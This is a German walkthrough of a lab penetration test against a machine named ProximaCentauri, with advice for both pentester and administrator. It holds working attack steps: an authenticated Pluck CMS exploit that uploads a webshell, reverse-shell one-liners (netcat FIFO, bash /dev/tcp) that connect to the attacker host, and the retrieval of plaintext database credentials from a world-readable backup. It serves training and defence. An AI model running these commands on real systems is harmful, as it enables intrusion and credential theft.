**Bewertung:** Dieser Schritt ist verwirrend. Warum wird nicht der `admin`-Login versucht? Der Versuch, sich als `fog` anzumelden, scheitert offenbar. Das angezeigte SSH-Banner ist jedoch sehr informativ und gibt einen neuen Hinweis: eine Liste (`blackhole.lst`) auf GitHub. Dies könnte eine Wortliste oder weitere Hinweise enthalten. Der Benutzer `fog` existiert also auf dem System.

**Empfehlung (Pentester):** 1. Untersuchen Sie den Inhalt der Datei `blackhole.lst` unter dem angegebenen GitHub-Link. 2. Versuchen Sie weiterhin, ein Passwort für `fog` zu finden (evtl. aus der `blackhole.lst`?). 3. Alternativ: Nutzen Sie den zuvor gefundenen Zugang für `admin`. 4. Da der direkte SSH-Zugang hier stockt, gehen Sie zurück zur Webanwendung und suchen Sie dort nach Wegen für den Initial Access, insbesondere mit Blick auf das Pluck CMS.
**Empfehlung (Admin):** Konfigurieren Sie SSH-Banner sorgfältig. Sie sollten Warnungen enthalten, aber keine sensiblen Informationen oder detaillierten Hinweise preisgeben. Überprüfen Sie die Notwendigkeit des `fog`-Benutzers.

Initial Access (Webshell via Pluck CMS)

Da der SSH-Zugang zunächst nicht erfolgreich war, kehren wir zur Webanwendung zurück. Wir haben Pluck CMS v4.7.13 identifiziert und versuchen nun, über das Admin-Panel Zugriff zu erlangen. Aus einer (im Log nicht dokumentierten) Quelle wurde offenbar das Admin-Passwort "hacktheplanet" ermittelt.

 -----------------------------------------------------------------------------------------------------

Hab einfach getestet und eingegeben

http://proxima.local/admin.php?action=start

passwort: hacktheplanet

 -----------------------------------------------------------------------------------------------------
                    

**Analyse:** Diese Notiz besagt, dass der Pentester durch "einfach testen und eingeben" das Passwort `hacktheplanet` für den Admin-Zugang (`http://proxima.local/admin.php`) gefunden hat. Die genaue Methode (ob Raten, Standardpasswort, oder aus einer anderen Quelle) bleibt unklar, aber das Ergebnis ist der erfolgreiche Login in das Pluck CMS Admin-Panel.

**Bewertung:** Der Zugang zum Admin-Panel des Pluck CMS ist ein kritischer Schritt. Obwohl die Herkunft des Passworts unklar ist, ermöglicht dieser Zugang wahrscheinlich das Ausnutzen bekannter Schwachstellen in Pluck 4.7.13, wie z.B. das Hochladen einer Webshell. Das Passwort `hacktheplanet` ist ein bekanntes Passwort aus dem Film "Hackers" und somit relativ schwach.

**Empfehlung (Pentester):** Nutzen Sie den Admin-Zugang, um nach Funktionen zum Hochladen von Dateien oder zum Bearbeiten von Code/Templates zu suchen. Laden Sie eine Webshell hoch, um RCE zu erlangen.
**Empfehlung (Admin):** Verwenden Sie niemals bekannte oder leicht zu erratende Passwörter für Admin-Zugänge. Ändern Sie Standardpasswörter sofort. Aktualisieren Sie das CMS.

pluck 4.7.13

Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated)


https://www.exploit-db.com/exploits/49909
                    

**Analyse:** Diese Notiz bestätigt erneut die Version Pluck 4.7.13 und verweist auf einen spezifischen Exploit auf Exploit-DB (EDB-ID 49909). Dieser Exploit beschreibt eine authentifizierte Remote Code Execution durch File Upload. Authentifiziert bedeutet, dass Admin-Zugangsdaten (wie das gerade gefundene Passwort) benötigt werden.

**Bewertung:** Es gibt einen bekannten Exploit für die vorhandene Schwachstelle, der genau auf die Situation (authentifizierter Zugriff) passt. Dies ist der klare Weg zum Initial Access über eine Webshell.

**Empfehlung (Pentester):** Laden Sie den Exploit (EDB-ID 49909) herunter und führen Sie ihn mit den Admin-Zugangsdaten (`hacktheplanet`) aus, um eine Webshell hochzuladen.
**Empfehlung (Admin):** Patchen Sie das CMS dringend. Überprüfen Sie die Upload-Funktionen auf Sicherheitslücken und härten Sie die Webserver-Konfiguration bezüglich Dateiausführung.

┌──(root㉿cyber)-[~]
└─# python3 pluckCMS.py 192.168.2.118 80 hacktheplanet ""

Authentification was succesfull, uploading webshell

Uploaded Webshell to: http://192.168.2.118:80/files/shell.phar

klappt nicht -->
                    

**Analyse:** Der Pentester führt ein Python-Skript namens `pluckCMS.py` aus (vermutlich der Exploit EDB-ID 49909). Dem Skript werden die Ziel-IP, der Port, das Admin-Passwort (`hacktheplanet`) und ein leerer String (möglicherweise für den Benutzernamen oder einen optionalen Parameter) übergeben. Das Skript meldet eine erfolgreiche Authentifizierung und das Hochladen einer Webshell nach `http://192.168.2.118:80/files/shell.phar`. Die Endung `.phar` (PHP Archive) wird oft verwendet, um Filter zu umgehen, kann aber von PHP interpretiert werden. Die Notiz "klappt nicht -->" deutet jedoch darauf hin, dass der Zugriff auf die Shell unter dieser URL fehlschlug.

**Bewertung:** Der Exploit scheint die Authentifizierung und den Upload erfolgreich durchgeführt zu haben, aber der erwartete Speicherort (`/files/shell.phar`) ist entweder falsch oder der Zugriff darauf wird verhindert. Die Webshell wurde möglicherweise an einem anderen Ort gespeichert oder der Webserver ist nicht so konfiguriert, dass `.phar`-Dateien im `/files`-Verzeichnis ausgeführt werden.

**Empfehlung (Pentester):** 1. Versuchen Sie, die Webshell manuell über das Admin-Panel hochzuladen, falls der Exploit fehlschlägt. 2. Suchen Sie nach der hochgeladenen Datei (`shell.phar`) in anderen Verzeichnissen, insbesondere in Bereichen, die mit Uploads oder temporären Dateien zu tun haben (z.B. `/data`, `/tmp`, oder wie sich später herausstellt: `/data/trash/files/`). 3. Überprüfen Sie die Admin-Oberfläche auf Hinweise zum tatsächlichen Speicherort von Uploads.
**Empfehlung (Admin):** 1. Stellen Sie sicher, dass Upload-Verzeichnisse keine Ausführungsrechte für Skripte haben (z.B. über `.htaccess` oder Apache-Konfiguration). 2. Beschränken Sie die erlaubten Dateitypen für Uploads strikt. 3. Überwachen Sie Upload-Verzeichnisse auf verdächtige Dateien.

-----------------------------------------------------------------------------------------------------
http://proxima.local/admin.php?action=files

manage files

Here you can upload your files, which you can use in your webpages later.
klappt auch nicht -->


>
hier versteckt sich das ding:

http://proxima.local/data/trash/files/shell.phar
                    

**Analyse:** Diese Notiz beschreibt weitere Versuche. Der Pentester hat offenbar die Dateimanagement-Seite im Admin-Panel (`admin.php?action=files`) gefunden und versucht, die Shell manuell hochzuladen oder den Speicherort zu finden ("klappt auch nicht -->"). Schließlich wird der korrekte Speicherort der Webshell entdeckt: `http://proxima.local/data/trash/files/shell.phar`. Die Datei landete also im `trash`-Unterverzeichnis von `/data`.

**Bewertung:** Der tatsächliche Pfad zur Webshell wurde gefunden. Dies ist ein häufiges Szenario, bei dem Exploits oder CMS-Funktionen Dateien an unerwarteten Orten ablegen. Der Zugriff auf diese URL sollte nun die Webshell aktivieren und RCE ermöglichen.

**Empfehlung (Pentester):** Greifen Sie auf `http://proxima.local/data/trash/files/shell.phar` im Browser zu oder verwenden Sie `curl`, um mit der Webshell zu interagieren und Befehle auszuführen.
**Empfehlung (Admin):** Analysieren Sie das Verhalten der Upload-Funktion des CMS, um zu verstehen, warum Dateien im `trash`-Verzeichnis landen. Sichern Sie alle potenziellen Upload-Pfade ab und verhindern Sie die Ausführung von Skripten in diesen Verzeichnissen.


        ___                         ____      _          _ _        _  _
 _ __  / _ \__      ___ __  _   _  / __ \ ___| |__   ___| | |_ /\/|| || |_
| '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_  ..  _|
| |_) | |_| |\ V  V /| | | | |_| | | (_| \__ \ | | |  __/ | |_   |_      _|
| .__/ \___/  \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_)    |_||_|
|_|                         |___/  \____/


p0wny@shell:…/trash/files# id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

p0wny@shell:…/trash/files#

=
                     

**Analyse:** Der Zugriff auf `shell.phar` war erfolgreich. Die Ausgabe zeigt das Banner der "p0wny shell", einer bekannten PHP-Webshell. Der Pentester führt innerhalb der Webshell den `id`-Befehl aus. Die Ausgabe `uid=33(www-data) gid=33(www-data) groups=33(www-data)` bestätigt, dass die Befehle als Webserver-Benutzer `www-data` ausgeführt werden.

**Bewertung:** Initial Access erfolgreich! Wir haben nun Remote Code Execution auf dem Server als Benutzer `www-data` über die Webshell. Dies ist ein kritischer Punkt, von dem aus weitere Enumeration und Versuche zur Privilegieneskalation gestartet werden können.

**Empfehlung (Pentester):** Nutzen Sie die Webshell, um eine stabilere Reverse Shell zu bekommen, da Webshells oft unhandlich sind und leicht verloren gehen können. Führen Sie lokale Enumeration durch (Systeminformationen, Benutzer, Netzwerk, Prozesse).
**Empfehlung (Admin):** Entfernen Sie die Webshell sofort. Analysieren Sie die CMS-Schwachstelle und beheben Sie sie. Überprüfen Sie das System auf weitere Kompromittierungen. Implementieren Sie Datei-Integritätsmonitoring, um unerwartete Dateien wie Webshells zu erkennen.

Proof of Concept (Reverse Shell)

Nachdem über die Webshell RCE als `www-data` erlangt wurde, versuchen wir nun, eine stabilere interaktive Reverse Shell zu unserem Angreifer-System aufzubauen. Dies dient als Proof of Concept für die Übernahme der Kontrolle über den Webserver-Prozess.

klappt auch nicht --> rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.113 9001 >/tmp
klappt auch nicht --> bash -i >& /dev/tcp/192.168.2.113/9001 0>&1
klappt !!!!!!!!!!!!!! --> bash -c 'bash -i >& /dev/tcp/192.168.2.113/9001 0>&1'




p0wny@shell:…/www/html# bash -c 'bash -i >& /dev/tcp/192.168.2.113/9001 0>&1'
                    

**Analyse:** Der Pentester versucht verschiedene Methoden, um eine Reverse Shell von der Webshell (laufend als `www-data`) zu seinem eigenen Rechner (192.168.2.113) auf Port 9001 zu initiieren: 1. `rm /tmp/f...`: Der klassische Netcat-FIFO-Trick. Scheitert ("klappt auch nicht"). 2. `bash -i >& /dev/tcp/...`: Ein Bash-spezifischer Trick, der eine interaktive Shell über eine TCP-Verbindung umleitet. Scheitert ebenfalls ("klappt auch nicht"). 3. `bash -c 'bash -i >& /dev/tcp/...'`: Derselbe Bash-Trick, aber diesmal in `bash -c '...'` gekapselt. Dies funktioniert ("klappt !!!!!!!!!!!!!!"). Manchmal ist diese zusätzliche Kapselung notwendig, damit die Umleitungen (`>&`) in der Umgebung der Webshell korrekt interpretiert werden. Der letzte Befehl wird dann innerhalb der p0wny-Shell ausgeführt.

**Bewertung:** Nach einigen Versuchen wurde eine funktionierende Methode gefunden, um eine Reverse Shell zu etablieren. Die Hartnäckigkeit beim Ausprobieren verschiedener Payloads war hier entscheidend. Der erfolgreiche Aufbau der Reverse Shell ist der Proof of Concept für die interaktive Übernahme des `www-data`-Kontos.

**Empfehlung (Pentester):** Wechseln Sie zum Netcat-Listener auf Ihrem Angreifer-System (192.168.2.113:9001), um die interaktive Shell zu nutzen. Führen Sie als Nächstes eine gründliche Enumeration als `www-data` durch.
**Empfehlung (Admin):** Implementieren Sie Egress-Firewalling, um unerwünschte ausgehende Verbindungen (wie Reverse Shells) zu blockieren. Härten Sie die Systemumgebung, indem Sie unnötige Shells oder Tools entfernen, falls möglich. Überwachen Sie Prozessausführungen auf verdächtige Befehlsketten (`/dev/tcp`, `nc`, `bash -i`).

┌──(root㉿cyber)-[~]
└─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.113] from (UNKNWN) [192.168.2.118] 44476
bash: cannot set terminal process group (506): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ProximaCentauri:/var/www/html$
                    

**Analyse:** Auf dem Angreifer-System wird mit `nc -lvnp 9001` ein Listener auf Port 9001 gestartet. Kurz darauf geht die Verbindung von der Zielmaschine (192.168.2.118) ein (`connect to ...`). Die Bash-Fehlermeldungen (`cannot set terminal...`, `no job control...`) sind typisch für einfache Reverse Shells, da keine vollwertige TTY (Terminal-Sitzung) vorhanden ist. Dennoch erhält der Angreifer eine Shell-Eingabeaufforderung (`www-data@ProximaCentauri:/var/www/html$`) als Benutzer `www-data`.

**Bewertung:** Die interaktive Reverse Shell wurde erfolgreich etabliert. Der Angreifer hat nun direkten Kommandozeilenzugriff als `www-data` auf dem Zielsystem.

**Empfehlung (Pentester):** 1. Verbessern Sie die Shell gegebenenfalls zu einer voll interaktiven TTY (z.B. mit `python -c 'import pty; pty.spawn("/bin/bash")'`, `script /dev/null -c bash`, oder `stty raw -echo; fg`). 2. Beginnen Sie mit der systematischen Enumeration des Systems als `www-data`.
**Empfehlung (Admin):** Erkennen und blockieren Sie ausgehende Reverse-Shell-Verbindungen. Analysieren Sie, wie der Angreifer die initiale RCE erlangt hat (hier: Pluck CMS Exploit).

#www-data@ProximaCentauri:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
                    

**Analyse:** Innerhalb der Reverse Shell wird der `id`-Befehl ausgeführt. Die Ausgabe bestätigt erneut, dass die Shell als `www-data` läuft. Das `#` am Anfang des Prompts ist ungewöhnlich und könnte ein Artefakt der Shell oder ein manueller Zusatz sein.

**Bewertung:** Bestätigung des aktuellen Benutzerkontexts.

**Empfehlung (Pentester):** Fahren Sie mit der Enumeration fort. Überprüfen Sie Systeminformationen, Benutzer, Verzeichnisse, Netzwerkkonfigurationen usw.
**Empfehlung (Admin):** Keine spezifische Empfehlung für diesen Bestätigungsschritt.

www-data@ProximaCentauri:/var/www/html$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1562 Jun  5  2021 /etc/passwd
                    

**Analyse:** Der Befehl `ls -la /etc/passwd` zeigt die Berechtigungen und Metadaten der Passwortdatei an. Sie ist für alle Benutzer lesbar (`-rw-r--r--`), was Standard ist.

**Bewertung:** Bestätigt, dass `www-data` die `/etc/passwd`-Datei lesen kann (obwohl der Inhalt hier nicht angezeigt wird). Dies ist normal und liefert normalerweise keine direkten Passwörter (diese stehen in `/etc/shadow`), kann aber zur Auflistung von Benutzern verwendet werden.

**Empfehlung (Pentester):** Lesen Sie `/etc/passwd` (`cat /etc/passwd`), um eine Liste der Systembenutzer zu erhalten. Versuchen Sie, `/etc/shadow` zu lesen (wird wahrscheinlich fehlschlagen).
**Empfehlung (Admin):** Stellen Sie sicher, dass die Berechtigungen für `/etc/shadow` restriktiv sind (idealerweise `640` oder `600` und Besitz von `root:shadow` oder `root:root`).

www-data@ProximaCentauri:/var/www/html$ uname -a
Linux ProximaCentauri 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64 GNU/Linux
                    

**Analyse:** Der Befehl `uname -a` gibt detaillierte Informationen über das Betriebssystem und den Kernel aus. Es handelt sich um ein Debian Linux mit Kernel Version 4.19.0-16 (veröffentlicht um März 2021).

**Bewertung:** Die Kernel-Version ist wichtig für die Suche nach Kernel-Exploits zur Privilegieneskalation. Kernel 4.19 ist nicht brandaktuell, aber auch nicht extrem alt. Es gibt bekannte Exploits für bestimmte 4.19.x-Versionen, aber es hängt von der genauen Patch-Version und Konfiguration ab.

**Empfehlung (Pentester):** Suchen Sie nach bekannten Kernel-Exploits für Linux Kernel 4.19.0-16 oder 4.19.181 (z.B. mit `searchsploit` oder online). Laden Sie ggf. Linux Exploit Suggester-Skripte auf das Ziel hoch und führen Sie sie aus.
**Empfehlung (Admin):** Halten Sie den Systemkernel und alle Pakete durch regelmäßige Updates auf dem neuesten Stand, um bekannte Schwachstellen zu schließen.

ll -data@ProximaCentauri:/var/www/html$ find / -type f -perm -4000 -ls 2>/dev/null
   133881     64 -rwsr-xr-x   1 root     root        63568 Jan 10  2019 /usr/bin/su
   134206     52 -rwsr-xr-x   1 root     root        51280 Jan 10  2019 /usr/bin/mount
   134208     36 -rwsr-xr-x   1 root     root        34888 Jan 10  2019 /usr/bin/umount
   130353     84 -rwsr-xr-x   1 root     root        84016 Jul 27  2018 /usr/bin/gpasswd
   130354     64 -rwsr-xr-x   1 root     root        63736 Jul 27  2018 /usr/bin/passwd
   130350     56 -rwsr-xr-x   1 root     root        54096 Jul 27  2018 /usr/bin/chfn
   130351     44 -rwsr-xr-x   1 root     root        44528 Jul 27  2018 /usr/bin/chsh
   133734     44 -rwsr-xr-x   1 root     root        44440 Jul 27  2018 /usr/bin/newgrp
   139888     52 -rwsr-xr--   1 root     messagebus    51184 Jul  5  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   143100    428 -rwsr-xr-x   1 root     root         436552 Jan 31  2020 /usr/lib/openssh/ssh-keysign
   264505     12 -rwsr-xr-x   1 root     root          10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
                    

**Analyse:** Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` sucht nach SUID-Binaries (Dateien, die mit Root-Rechten ausgeführt werden). Die Ausgabe zeigt eine Liste von Standard-Linux-SUID-Dateien. Es sind keine ungewöhnlichen oder benutzerdefinierten SUID-Dateien zu sehen.

**Bewertung:** Ähnlich wie bei der vorherigen Box scheint die Suche nach SUID-Binaries keine offensichtlichen oder einfachen Wege zur Privilegieneskalation aufzuzeigen. Standard-Binaries könnten theoretisch ausgenutzt werden (GTFOBins), aber es ist kein direkter Vektor ersichtlich.

**Empfehlung (Pentester):** Überprüfen Sie die Standard-Binaries auf GTFOBins. Suchen Sie nach anderen Eskalationsvektoren: Cronjobs, Fehlkonfigurationen, Kernel-Exploits, ungesicherte Dienste oder Dateien. Untersuchen Sie die Home-Verzeichnisse.
**Empfehlung (Admin):** Minimieren Sie die Verwendung von SUID-Binaries. Halten Sie das System aktuell.

www-data@ProximaCentauri:/var/www/html$ cd /home/
www-data@ProximaCentauri:/home$ ls -la
total 20
drwxr-xr-x  5 root     root     4096 Jun  5  2021 .
drwxr-xr-x 18 root     root     4096 Jun  4  2021 ..
drwxrwxr-x  2 alfa     alfa     4096 Jun  5  2021 alfa
drwxrwxr-x  2 centauri centauri 4096 Jun  5  2021 centauri
drwxrwx---  7 proxima  proxima  4096 Jun  5  2021 proxima
                    
www-data@ProximaCentauri:/home$ cd alfa/
www-data@ProximaCentauri:/home/alfa$ ls -la
total 20
drwxrwxr-x 2 alfa alfa 4096 Jun  5  2021 .
drwxr-xr-x 5 root root 4096 Jun  5  2021 ..
-rwxrwxr-x 1 alfa alfa  220 Jun  5  2021 .bash_logout
-rwxrwxr-x 1 alfa alfa 3526 Jun  5  2021 .bashrc
-rwxrwxr-x 1 alfa alfa  807 Jun  5  2021 .profile
                    
www-data@ProximaCentauri:/home/alfa$ cd ../centauri/
www-data@ProximaCentauri:/home/centauri$ ls -la
total 20
drwxrwxr-x 2 centauri centauri 4096 Jun  5  2021 .
drwxr-xr-x 5 root     root     4096 Jun  5  2021 ..
-rwxrwxr-x 1 centauri centauri  220 Jun  5  2021 .bash_logout
-rwxrwxr-x 1 centauri centauri 3526 Jun  5  2021 .bashrc
-rwxrwxr-x 1 centauri centauri  807 Jun  5  2021 .profile
                    
www-data@ProximaCentauri:/home/centauri$ cd ../proxima/
bash: cd: ../proxima/: Permission denied
                    

**Analyse:** Der Pentester wechselt in das `/home`-Verzeichnis und listet dessen Inhalt auf. Es gibt drei Benutzerverzeichnisse: `alfa`, `centauri` und `proxima`. Die Berechtigungen (`drwxrwxr-x`) erlauben `www-data` das Betreten und Auflisten der Verzeichnisse `alfa` und `centauri`. Die Berechtigungen für `proxima` (`drwxrwx---`) verhindern jedoch den Zugriff für `www-data` (da `www-data` nicht der Besitzer `proxima` und nicht in der Gruppe `proxima` ist und keine "others"-Rechte existieren). Die Inhalte von `alfa` und `centauri` scheinen nur Standard-Konfigurationsdateien zu enthalten. Der Versuch, in `/home/proxima` zu wechseln, schlägt erwartungsgemäß fehl (`Permission denied`).

**Bewertung:** Die Home-Verzeichnisse von `alfa` und `centauri` bieten keine offensichtlichen Hinweise oder Schwachstellen. Das Verzeichnis von `proxima` ist für `www-data` nicht zugänglich, was darauf hindeutet, dass der Benutzer `proxima` möglicherweise relevanter ist oder sensiblere Daten enthält.

**Empfehlung (Pentester):** Suchen Sie nach anderen Orten, an denen sensible Informationen gespeichert sein könnten, z.B. Konfigurationsdateien von Diensten, Backup-Verzeichnisse oder Datenbanken. Der nächste Schritt des Pentester (Wechsel zu `/var/backups`) ist logisch.
**Empfehlung (Admin):** Überprüfen Sie die Berechtigungen der Home-Verzeichnisse. Typischerweise sollten sie `700` oder `750` sein, um den Zugriff durch andere Benutzer (einschließlich `www-data`) zu verhindern, es sei denn, es gibt einen spezifischen Grund für eine Freigabe.

www-data@ProximaCentauri:/home/centauri$ cd /var/backups/
www-data@ProximaCentauri:/var/backups$ ls -la
total 436
drwxr-xr-x  2 root root     4096 Jun  5  2021 .
drwxr-xr-x 12 root root     4096 Jun  4  2021 ..
-rw-r--r--  1 root root    40960 Jun  5  2021 alternatives.tar.0
-rw-r--r--  1 root root     9762 Jun  5  2021 apt.extended_states.0
-rw-r--r--  1 root root      666 Jun  4  2021 apt.extended_states.1.gz
-rw-r--r--  1 root root       98 Jun  4  2021 dpkg.diversions.0
-rw-r--r--  1 root root      172 Jun  4  2021 dpkg.statoverride.0
-rw-r--r--  1 root root   351158 Jun  5  2021 dpkg.status.0
-rw-------  1 root root      704 Jun  4  2021 group.bak
-rw-------  1 root shadow    587 Jun  4  2021 gshadow.bak
-r--r--r--  1 root root     2895 Jun  5  2021 mysql.bak
-rw-------  1 root root     1470 Jun  4  2021 passwd.bak
-rw-------  1 root shadow    969 Jun  4  2021 shadow.bak
                    

**Analyse:** Der Pentester wechselt in das Standard-Backup-Verzeichnis `/var/backups` und listet dessen Inhalt auf. Dieses Verzeichnis enthält verschiedene System-Backup-Dateien. Besonders interessant sind: * `group.bak`, `gshadow.bak`, `passwd.bak`, `shadow.bak`: Backups der Benutzer- und Passwort-Datenbanken. Die Berechtigungen (`-rw-------`) verhindern jedoch meist den Lesezugriff für `www-data`. * `mysql.bak`: Ein Backup, das mit MySQL zu tun hat. Die Berechtigungen (`-r--r--r--`) erlauben jedem Benutzer das Lesen dieser Datei!

**Bewertung:** Der Fund von `mysql.bak` mit Leserechten für alle ist ein kritischer Fehler. Solche Backup-Dateien enthalten oft Datenbank-Zugangsdaten oder andere sensible Konfigurationen im Klartext. Die anderen `.bak`-Dateien sind aufgrund der restriktiven Berechtigungen für `www-data` nicht zugänglich.

**Empfehlung (Pentester):** 1. Lesen Sie den Inhalt von `mysql.bak` (`cat /var/backups/mysql.bak`). 2. Da das direkte Anzeigen in der Reverse Shell umständlich sein kann, laden Sie die Datei auf Ihr Angreifer-System herunter (z.B. über einen temporären Python-HTTP-Server, wie im nächsten Schritt gezeigt).
**Empfehlung (Admin):** 1. Setzen Sie restriktive Berechtigungen für alle Dateien in `/var/backups`, insbesondere für Datenbank- oder Passwort-Backups (maximal `600` oder `640`). 2. Überprüfen Sie regelmäßig die Berechtigungen von Backup-Dateien. 3. Vermeiden Sie es, Klartext-Passwörter in Backup-Dateien zu speichern.

www-data@ProximaCentauri:/var/backups$ ss -atlpn
State     Recv-Q    Send-Q       Local Address:Port        Peer Address:Port
LISTEN    0         128                0.0.0.0:22               0.0.0.0:*
LISTEN    0         80               127.0.0.1:3306             0.0.0.0:*
LISTEN    0         128                      *:80                     *:*
LISTEN    0         128                   []:22                  []:*
                    

**Analyse:** Der Befehl `ss -atlpn` zeigt die Netzwerk-Sockets an. * `-a`: Zeigt alle Sockets an (lauschende und verbundene). * `-t`: Zeigt nur TCP-Sockets. * `-l`: Zeigt nur lauschende Sockets. * `-p`: Zeigt den Prozess an, der den Socket verwendet. * `-n`: Zeigt numerische Adressen und Ports (keine Namensauflösung). Die Ausgabe zeigt lauschende Dienste auf: * Port 22 (SSH) auf allen IPv4- und IPv6-Schnittstellen. * Port 3306 (MySQL/MariaDB) auf der Loopback-Adresse `127.0.0.1`. Das bedeutet, die Datenbank ist nur von localhost aus erreichbar. * Port 80 (HTTP) auf allen IPv4- und IPv6-Schnittstellen.

**Bewertung:** Dies bestätigt die Ergebnisse des Nmap-Scans (offene Ports 80 und 22) und zeigt zusätzlich, dass MySQL läuft, aber nur lokal erreichbar ist. Das ist eine wichtige Information, da wir nun wissen, dass wir uns von der Reverse Shell aus (die lokal auf dem Server läuft) mit der Datenbank verbinden können, falls wir Zugangsdaten finden.

**Empfehlung (Pentester):** Merken Sie sich, dass MySQL auf `127.0.0.1:3306` läuft. Suchen Sie in der Datei `mysql.bak` nach Zugangsdaten.
**Empfehlung (Admin):** Es ist eine gute Praxis, Datenbankdienste nur an das Loopback-Interface (`127.0.0.1`) zu binden, wenn kein externer Zugriff erforderlich ist. Dies reduziert die Angriffsfläche erheblich.

Lateral Movement & User Flag

Wir haben die Datei `mysql.bak` im Backup-Verzeichnis gefunden und wissen, dass der MySQL-Dienst lokal läuft. Nun versuchen wir, Zugangsdaten aus dem Backup zu extrahieren und uns damit zur Datenbank zu verbinden, um potenziell weitere Informationen oder Zugangsdaten für Benutzerkonten zu finden, was uns eine seitliche Bewegung (Lateral Movement) im System ermöglichen könnte.

www-data@ProximaCentauri:/var/backups$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.2.113 - - [30/May/2023 10:02:39] "GET /mysql.bak HTTP/1.1" 200 -
                    
┌──(root㉿cyber)-[~/HackingTools]
└─# wget 192.168.2.118:8000/mysql.bak
--2023-05-30 16:02:35--  http://192.168.2.118:8000/mysql.bak
Verbindungsaufbau zu 192.168.2.118:8000 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 K
Länge: 2895 (2,8K) [application/x-trash]
Wird in mysql.bak gespeichert.

mysql.bak               100%[===================================================================================>]   2,83K  --.-KB/s    in 0s

2023-05-30 16:02:35 (11,4 MB/s) - mysql.bak gespeichert [2895/2895]
                    

**Analyse:** Um die Datei `mysql.bak` einfach auf das Angreifer-System zu übertragen, startet der Pentester auf dem Zielsystem (innerhalb der `www-data`-Reverse-Shell und im Verzeichnis `/var/backups`) einen temporären Python-HTTP-Server auf Port 8000 (`python3 -m http.server 8000`). Anschließend lädt er die Datei von seinem Angreifer-System mit `wget` herunter (`wget 192.168.2.118:8000/mysql.bak`). Der Log des Python-Servers auf dem Zielsystem zeigt den erfolgreichen GET-Request.

**Bewertung:** Dies ist eine gängige und effektive Methode, um Dateien von einem kompromittierten System herunterzuladen, wenn direktere Methoden wie SCP nicht verfügbar sind oder umständlicher wären. Die Datei `mysql.bak` ist nun lokal auf dem Angreifer-System zur Analyse verfügbar.

**Empfehlung (Pentester):** Analysieren Sie den Inhalt der heruntergeladenen `mysql.bak`-Datei auf dem lokalen System. Beenden Sie den Python-HTTP-Server auf dem Zielsystem, wenn er nicht mehr benötigt wird (Strg+C).
**Empfehlung (Admin):** Überwachen Sie die Ausführung ungewöhnlicher Prozesse wie `python -m http.server`. Blockieren Sie ausgehende Verbindungen von Servern, wenn möglich, um solche Exfiltrationsmethoden zu erschweren.

┌──(root㉿cyber)-[~/HackingTools]
└─# ll
insgesamt 20
-rw-r--r-- 1 root root 2895  5. Jun 2021  mysql.bak
-rw-r--r-- 1 root root 5495 29. Mai 01:44 revshell.php
drwxr-xr-x 3 root root 4096 27. Mai 01:28 SoundStegno
drwxr-xr-x 8 root root 4096 27. Mai 01:25 stegseek
                    
┌──(root㉿cyber)-[~/HackingTools]
└─# cat mysql.bak
/ The name of the database for WordPress */
define( 'DB_NAME', 'proximacentauri' );

/ MySQL database username */
define( 'DB_USER', 'alfauser' );

/ MySQL database password */
define( 'DB_PASSWORD', 'passw0rd' );
                    

**Analyse:** Auf dem Angreifer-System wird zuerst der Inhalt des aktuellen Verzeichnisses aufgelistet (`ll`), was die heruntergeladene `mysql.bak` zeigt. Dann wird der Inhalt von `mysql.bak` mit `cat` angezeigt. Die Datei scheint Ausschnitte aus einer Konfigurationsdatei zu enthalten (möglicherweise `wp-config.php`, obwohl WordPress hier nicht primär im Fokus stand, oder eine ähnliche PHP-Anwendungskonfiguration). Sie enthüllt: * Datenbankname: `proximacentauri` * Datenbankbenutzer: `alfauser` * Datenbankpasswort: `passw0rd`

**Bewertung:** Kritischer Fund! Die Zugangsdaten für die lokale MySQL-Datenbank wurden im Klartext in der Backup-Datei gefunden. Dies ermöglicht nun den Zugriff auf die Datenbank `proximacentauri` als Benutzer `alfauser`.

**Empfehlung (Pentester):** 1. Verbinden Sie sich von der Reverse Shell auf dem Zielsystem aus mit MySQL (`mysql -u alfauser -p -h 127.0.0.1`). 2. Geben Sie das Passwort `passw0rd` ein. 3. Untersuchen Sie die Datenbank `proximacentauri` auf interessante Tabellen und Daten (insbesondere Benutzerinformationen oder weitere Passwörter).
**Empfehlung (Admin):** 1. Speichern Sie niemals Klartext-Passwörter in Konfigurations- oder Backup-Dateien. Verwenden Sie sicherere Methoden zur Speicherung von Geheimnissen (z.B. Umgebungsvariablen, Secret-Management-Systeme). 2. Ändern Sie das gefundene Datenbankpasswort sofort. 3. Überprüfen Sie alle Anwendungen und Konfigurationen auf hartcodierte oder unsicher gespeicherte Zugangsdaten.

www-data@ProximaCentauri:/var/backups$ mysql -u alfauser -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 36
Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10

Copyright (c) 2000, 2018, racle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> use proximacentauri;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [proximacentauri]> show tables;
++
| Tables_in_proximacentauri |
++
| authors                   |
++
1 row in set (0.000 sec)

MariaDB [proximacentauri]> select * from authors;
+++--++
| id   | name    | password                         | email               |
+++--++
|    1 | proxima | alfacentauri123                | vishal@hacksudo.com |
+++--++
1 row in set (0.000 sec)
                    

